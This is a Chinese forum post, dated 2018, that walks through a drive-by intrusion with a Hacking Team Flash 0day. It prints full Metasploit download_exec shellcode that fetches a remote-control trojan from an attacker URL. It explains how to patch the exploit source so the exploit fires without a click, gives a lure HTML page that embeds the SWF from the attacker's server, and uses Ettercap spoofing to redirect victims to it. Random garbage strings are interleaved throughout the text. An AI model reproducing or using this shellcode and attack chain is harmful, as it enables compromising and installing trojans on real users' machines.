|
. T, q% m/ U# `! `! K0 j3 F 三、flash 0day之手工代码修改制作下载者实例入侵演示 - k7 \. a0 g6 H2 m$ N8 K, {
. _& ^" |* O1 g! y# q0 H+ H1 ]. t
利用到的工具： ' l$ @/ X8 ~# `: Q' S3 Z$ }( A8 x
& S- i7 }/ C- z- F* |; S- I
, Q. c5 M' b7 a5 \# @ Msf / G* e) c7 V7 b! s
O/ W; f- S5 s! Z! s1 g& }7 y5 {
6 P% {, e$ n8 V A( P& I* V Ettercap
3 L9 W/ Y# U- Q( | * A; X# r0 X/ \1 S+ x
8 W& c1 {7 P0 C, h0 E, D Adobe Flash CS6 # o$ H7 T4 |. p2 ?
' Y* x! u# q; _# o* }: w0 W: o% I
' K+ J" w! O& u- W Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 + ]( f* H8 {( j: s9 `
4 C/ S1 N, G1 P2 g' U+ _, B# Y0 S
5 ]; _2 S; u' T, N5 w0 u 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options 4 k& | V+ A! E1 j0 s
' @ s! j. R& T1 S
8 \+ K2 \' ], E, V9 E- ~3 d, g" w
如图： ' m u+ d% p- x; V- @5 \! ]
/ R# _8 ?2 Y1 ]2 V5 L; x. b4 o8 K- z4 D1 ~( U3 ?6 T
8 Y, N( {6 i; [9 w' s' ^* y
) P& l7 A; L& Y# u( t' Z% P
% T$ H5 V8 |% A0 m0 W& g  0 Y- Z* M5 F* Z) q1 ?% Z/ h# D3 b
2 }6 {' q# c# d8 X. g
# Q' M; z0 e! d3 \; c% \) z3 h+ K1 S 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:
- _4 g) \% I* x' ]1 s # l$ X- _0 \$ W7 u" V
9 E9 a7 |0 P: K. m
3 T) N' Y( O1 ~9 A
" Z3 ^+ C1 o$ A( q1 x {: Z d; a0 W% c% E6 z
7 l2 q; _; h5 l
$ `8 C0 N0 ?. I7 q
, u. Z6 g6 w- B% X0 Z 然后执行generate -t dword生成shellcode，如下：
5 ?- |- X4 l9 |4 K% Y4 a$ [. j + m" D( u3 h& J! F- S$ _1 h- s
) ]2 e: P3 s5 W2 Z+ _
 2 E6 k6 L3 U6 G3 f, u
" g( ]/ K1 |9 }4 { M- s8 G' i* @7 x8 s& o+ X- f
复制代码到文本下便于我们一会编辑flash exp，如下： 8 R3 U a! i2 j1 B+ ]9 ~7 K# C
+ k- K9 H; T6 P# M6 ?" _5 c
- R; c$ ~. d' A" z6 a
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
3 I9 n" Z0 t1 `$ D" y; l 8 d( ^- W' `5 ] v
! n( S) E2 I2 I& f
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 3 J- C% {7 m$ I5 A* U7 Z
/ V i4 A' u' a! B( [
% v6 I1 m1 S: u0 ~$ y- \ 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 1 |; O' \* W5 R' K* |
% o& D! _) n9 ^1 `
0 V. u: X8 m9 J! \ 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, L2 C0 Y8 z5 s1 n. k
8 O# d$ L' F# e: ?
% w. x2 G0 F' \& n+ P+ n4 y$ j8 H 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
9 p( F) q2 \7 Q) t5 d, S & c* b5 }1 v7 G+ J3 I
8 U. _& W3 E* | 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
4 Z4 C! Y2 Y* k# ~3 H
2 @; e2 H$ O9 D& F9 b$ \
+ ?) j, V! G6 [6 O' n 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 4 S! i& Y; ]2 e
z4 j0 v6 j# q) ]! p3 d& T
$ I% a' M$ v* | j& J9 O7 z 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, # D8 V$ U4 Z# I' w) p! g+ V
3 F( j3 T3 y( p
& `! M2 z4 m0 |. M- K 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 1 ?+ r. Q; r+ s
+ B. Z9 X( N+ @) t6 r E: l; S8 I4 E& N6 A
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
% W3 I; y! D; y% g3 r / {8 o* ?+ S! p! r* x
% A2 F$ d1 s+ U5 g9 @ t
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
4 W: G/ Y% d! }4 _4 K$ f$ k7 S+ z/ a # [, Y4 ^# b5 }9 K7 U# a7 ?6 b
# `+ l* }7 C. x/ g 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
& V5 ^& ~) |3 o; K; ^! ? ) t( x/ Y+ a3 d2 T" B1 c- M
' C9 o4 w! u( w" q0 e 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, , d3 ~9 |+ h/ d4 @1 R- i1 Q
4 ?8 z1 ]' w3 o- {
, p- R9 Z9 |1 Z& j; r" `& U& [ 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
* z+ Q7 j8 J- I& C) h+ Z; H . o& ]8 o3 ] J6 Z! i3 i2 g* @
4 T9 |" }+ T$ l
1 G7 ~, W# ~) e2 ]1 ?5 b; W ( a4 H( \! V3 M) a1 Q; L# l
6 ]" h, j# Z5 D ' N& c- W5 s* w, {
, F# {& ?) y- t4 Q d4 _% | V! |0 b$ h3 Z
下面我们来修改flash 0day exp，需要修改三个文件，分别为：
6 ]' T! b& Q3 ~' \4 k 7 D/ S: v/ V9 D' a1 K6 \) z+ s
% X% K+ B& _8 c/ C9 I  ' b% o8 o7 Q9 T& z8 v0 w- J' M
8 }* o( T# H l$ Q# x
- T, w' g) j0 f8 d. M9 g3 I% I* i 先修改ShellWin32.as，部分源代码如图：
! X P8 U& z; l3 @$ F: J
4 `2 u7 T- j. b! \6 T! I- G i7 e6 f( U' B7 U
* Z# v+ `1 g' C: M% W8 ~
* f5 s* T2 Q' P, d2 \; ]) ~! Y* g' B" R/ e0 O! ]) N" y
我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：
- r E4 Z. N+ H
6 @. u2 O/ h# n& ^9 V: @2 m) K/ r2 t ?4 f
 % S+ ]1 |' J9 @% O# x/ X* z! r; @
* r8 B0 |- F6 K5 t, C! B3 }3 t
/ r9 q' M* B+ b 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： * [3 T! Z U3 k# M
, k9 i, o: M+ j
8 A! y3 ~* m, W4 W  . I0 x3 U* T2 z" n3 ~+ ]
% [* h* q- V1 b5 Z- H
& [! |8 C' Z; ~ 换行在后面加一句TryExpl();注意是l不是数字1，然后如图： 7 Y9 ~' E5 ^! g
5 e$ ~ D( o* G2 O% C1 y
9 N5 w! W, ?3 z) L1 T
6 k2 J7 h. P0 E* t. i9 {: E5 V% j3 s
1 s( x+ k, o$ @% e' @
/ V3 r2 D/ P) K; G9 J
* C3 l, p( O) C% k( S. v* I
0 u) B! b3 d V3 S& w r2 C$ G
. h5 a7 q8 b% D# l' i 
" }; j* ?7 }" y" \$ s [: _9 n
5 x B8 D0 G! L6 r
: O( \8 `, Y6 F3 ]& O 然后点保存，下面我们来编译一下，打开 $ f! m5 S5 Q" r* ]% R; z- @- {" {
, W+ [2 j2 Y7 g, g8 [5 D5 \/ U E, m: } S8 q, i. r
exp1.fla然后点文件-发布，看看编译没错误 0 P; n7 j* E- W$ ?! s
' A" c% r2 m g' b+ Y
& b3 E8 ]) } {$ [ 5 ^" D8 @) `+ M5 U' C6 L
/ t9 ?/ Z" Y2 J
. V5 k. g5 @! e1 |" x/ ]9 X
: B. Z0 ?( @+ H3 m% d! o
; Q( U% k" U& p- ~- `: q: c
7 k4 T7 Z' e, z4 p
; w& p2 |2 @" s6 G
1 W/ |% Z" h4 ? A7 E. x) A
: Z3 B9 l1 D! r: o) o2 A 
# p. _, s4 f' i' R: z( n ( b a7 k$ q# M3 q3 E0 d, @0 j8 M
! s+ j; E. I& {- T5 f+ T2 [ 然后我们把生成的 ; j7 O2 {1 { Y. l7 f9 Y5 `2 {
$ S; q4 q" F0 C \, {
+ m, A* K" u9 M# m, ^0 L exp1.swf丢到kailinux 的/var/www/html下：
' ^" t5 o0 K: e8 \# @ 3 g3 D- D4 ]% ^' t! I, X o
% x$ n; I! Y1 y7 M/ W 然后把这段代码好好编辑一下 9 |5 _% S" B- @- R! L
+ f. e2 h, }+ C' m4 @
* C( \/ L+ b6 Z; U & }' F% [) m5 H* z2 m5 q- t
o5 M+ }8 G# q+ Y' N" ?
7 C3 D7 m- s; J+ s
& L, \' D9 }$ s" I& |, {! a: b ; W3 Q: U" m% w9 [7 n) w @- F
+ j! m# p# l. S# b+ D a8 C
; v" I- _% [% A W7 A( f
0 a* p; J5 _& j% [; R6 t
" T! x3 f! z5 c' g2 Q7 F: B( T
8 l4 P4 A. a- L4 b7 f7 L* |- x* a + ~$ U" `2 z1 t4 o( R
% k5 P; I- e m* |$ d1 N
' f6 V6 T- Q7 f9 {: ?& m
- e1 q/ [$ V3 S* i( U; V0 w( l2 r6 G# w- \3 L5 N, z( X
J- f3 x) H5 ~( v$ ]6 F" W
. q6 R& E; }# [3 z# W
3 `0 i W, F* U1 q, f7 Y( e7 |1 L <!DOCTYPE html>
3 a; e, U- j' t) X: z 0 F$ H+ \% r( |6 m
8 `$ |( _2 w7 f6 @
<html>
/ e% M' Y9 [' t! O) g, M8 C0 R- Y- X$ U
. Y/ I8 O* @8 P" W1 ~
9 K W" E5 `$ M <head> 8 _. Z! c/ T6 s5 b! n/ ~
) T8 ~# o8 \. |/ B9 {9 ~8 O
+ P5 o1 h/ R5 u <meta http-equiv="Content-Type" content="text/html;
1 J: I6 m. r; g8 s# e: [: j
# ^: I4 ` W( y+ A4 i3 x# u3 }) ?0 {+ q9 L& C
charset=utf-8"/>
; X3 H9 ^* ^. K: g' i ) n8 S- j+ U6 E" D1 U1 ], Y
- J3 I/ R" M- Y6 ^ </head> l( Z) d4 _! ~: W% O& R" W
! |# J# Y6 X8 z4 Z& k
) h3 T8 {' d% A% U* b" Q: Q7 T- I <body>
- ?4 z" |) \, C) R( a" g8 f ( c7 B/ L" g0 W& c- J5 X2 j
: @/ |, Z8 b6 b: Z& x0 L
<h2> Please wait, the requested page is loading...</h2>
, K1 @8 T% X, o' D5 F
7 k9 @8 f* l+ y! q1 f: M
; k. `: K9 S- F5 d) Y* F <br>
! O2 N8 q2 Q* R
& M; i: w$ p# l9 X% E# Z' \
7 K8 l( \9 B: Z3 Z! H <OBJECT
0 h1 u8 z! I6 G$ p ; G8 n1 B$ F( ~ A* B
8 F |. t: |. s q$ t( |0 F' I2 q
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie ! K% J: R& Y7 X$ i4 Y
) Q5 A& k% V& Q) ^" E2 R' F
7 B& A2 m! J& w6 s. E VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
, F7 T& W+ d- O. @1 H( [" S 7 u9 S" w5 [) Z
7 o( \8 Z1 C' m3 H' X+ T, ^
</body> 6 _* p9 t7 U+ w" ^4 x, a
2 i6 A6 Q6 u/ }) a6 c- m% B j
6 m; U7 @3 U* k# r <script> 5 r, H6 @) I5 e2 U1 U
( R9 [$ V- `) b9 X9 U
* x* v* B+ H1 `2 x" M setTimeout(function () {
8 N: c0 `4 P% c! ^: s2 D/ O* H0 k
; n& q9 j' M! d8 @2 |2 J
/ A( J( K P; D4 I7 X% ] - I" U4 k+ _6 k* J
' U2 L, ~5 x' C+ J& @( X' x
: @* K i1 n8 r5 c. k# G5 C2 b
window.location.reload(); 7 }9 P$ `0 P+ ]) z+ I% @/ Q5 E
8 t9 z* v- b9 o. F6 d8 L
5 O( b$ }$ x% b9 O( }' a! l5 _
}, 10000); 7 j2 i0 e+ g- @! c) N7 }
0 b6 D" m0 u2 ?2 j
. r8 c$ m, H: a6 [# ?. M+ I! P + s3 q) F e3 Y6 P. a* N' W
1 M$ N+ e: I! y# D: N5 f, U0 U2 C
0 g4 ~2 P( ~) l& _' [3 k! t </script>
% t+ K6 K# E3 p% c( b: ` 9 G. A' H3 w4 p% N, @
" Q' M' v0 J# \: _( X6 t1 ` </html> 3 o3 d7 }" t* w) o) {- y
2 c) R& Z' z. G. |( m* c, k, F- J! r% v. P. v: x
* `/ s' K; E/ e1 ] c1 Y1 Q
/ ]# ^) O i" M) h+ i9 L) H9 o6 e
$ q. B& D, \( I u1 [0 W
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： / i$ y: W* d$ N6 I
' n& b6 K' U, V$ V. c0 E) i/ S# E" Q6 l! g7 e' u; i: y' E! q3 g7 T
 5 ^( V7 g0 m" b9 s' n# s
" E" c( o: q7 k4 m2 _
v# i1 L, V5 b3 E
3 P: l! I7 I0 g- [( g
" h0 \, w8 c5 _* i D) ^3 Y: o, h5 J3 ^/ }' a- f1 k
7 s. H8 U2 b# E) q ( c, h; z" D" d) r2 g8 i
) G: z8 S& n7 W- i
9 B/ l/ a1 m1 q. M- e' |
. X7 c- H7 c! T, A5 r# D ]/ M5 D; t0 A
1 D6 K& q& m9 |1 s
/ N) W8 E5 X* w: |, j/ D. d1 S' u. M/ M; U7 Z% W
下面我们用ettercap欺骗如图：
- P. ? \7 \1 u4 k+ ]3 j' O
$ d: J% _+ ^3 J: V8 R! v" ^, e7 W* r& w# f
9 Z( X- ^+ k3 V4 v! f: v
1 `- j" W! x1 r v0 d% G4 O$ g' P o- [4 [( n
2 p6 E7 h7 f, R; b8 ?: D7 W x
' S; J0 J- E1 e
+ V& B4 e. I& ` s 下面我们随便访问个网站看看：
; `9 ^0 U( O! w# x: ~' g7 r
% k0 Q1 }- x* s9 P: D" x1 a% V0 Q2 J( Y7 U5 n) p
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： . C" H4 c" i* ?% [9 N
$ G2 r2 Q: h& c% }# z0 S" q
7 a# ?, c% p+ f6 m7 z5 N
 ; D& [5 q) _; G$ o% b. k
; o: e: E- P: ]5 J
1 _/ C% w/ f( g" |# {9 S, L 我们看另一台，
9 Q/ F1 Q" e7 B. r+ u2 ] ' m6 C: W i6 O) \6 L
" H7 J2 [# G( y4 p 提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。
& i' N: `/ a, l9 C | 
发表于 2018-10-20 20:28:55
收藏
支持
反对